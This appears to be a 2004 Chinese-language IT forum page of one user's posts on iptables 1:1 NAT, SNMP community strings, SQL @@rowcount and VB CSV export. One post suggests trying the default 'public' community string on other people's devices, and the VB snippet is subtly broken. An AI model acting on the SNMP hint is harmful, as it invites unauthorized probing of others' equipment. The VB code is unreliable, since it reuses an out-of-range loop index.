我就是不會畫,也真想不到用啥關鍵字查?
不知道大家 都是用什麼方法去畫的?
之前看netman畫的網路圖也都是這種的。

24
雜七雜八 / 逛 BnQ 發現一個好用的... ^_^
« 於: 2004-04-05 03:01 »
這是哪兒的機房啊?
還有電風~~~散熱一定很好
 :lol:  :D

25
Linux 討論版 / Re: [問題]iptables 1:1 NAT
« 於: 2004-04-05 02:54 »
引述: "hoyin630"
iptables -t nat -A PREROUTING -d 97.158.253.26 -i eth0 \
         -j DNAT --to-destination 192.168.1.100
iptables -t nat -A PREROUTING -d 97.158.253.27 -i eth0 \
         -j DNAT --to-destination 192.168.1.101
iptables -t nat -A PREROUTING -d 97.158.253.28 -i eth0 \
         -j DNAT --to-destination 192.168.1.102

將你的網卡eth0 bind上兩三個ip(eth0:1,eth0:2)
在用下面這行試看看
1.1.1.187  對應192.168.51.187
不要打指定網卡,  

iptables -t nat -A PREROUTING -d 1.1.1.187 -p all -j DNAT --to 192.168.51.187
試看看

引述: "hoyin630"

在老外的討論上用這幾個指令可以做到 iptables 1:1 NAT
但是怎麼令 eth0 可以 bind 上多個 IP address ?

我試過 alias ( example eth0:1 - >97.158.253.27  , eth0:2 97.158.253.28 )
但這個指令

iptables -t nat -A PREROUTING -d 97.158.253.27 -i eth0:1 \
         -j DNAT --to-destination 192.168.1.101

是不容許...

有沒有人試過做 Linux NAT box 用多個 public IP ?
可以指教一下嗎

Thx

26
pubilc 是對應community_string

也就是 @ 前面的字串,
預設為public,所以連別人的都可以先用這試試,
但不一定通。因為對 方 可能有改過。

之前我裝了、用了不下十次!
都用不好~~~就是它!public@192.168.1.1

的確這是一般人較不懂的

27
程式討論版 / [問題]trigger的問題
« 於: 2004-03-22 00:49 »
@@rowcount
是指執行一個指令所影響的筆數~~~~~
例如:
你刪了3筆~~
@@rowcount的值會是3

28
程式討論版 / 各位vb高手請問一下
« 於: 2004-03-22 00:46 »
把你要抓的資料來源用","間隔。
例如:
open txtfile for output as #1
for i=0 to rs.fields.count - 1
      print #1,rs.fields(i).name & ","
next
do while not rs.eof
       print #1,rs.fields(i).value & ","
       rs.movenext
loop

close #1
這樣你的txtfile 會像
aaa,bbb,ccc,
111,222,333,

頁: [1]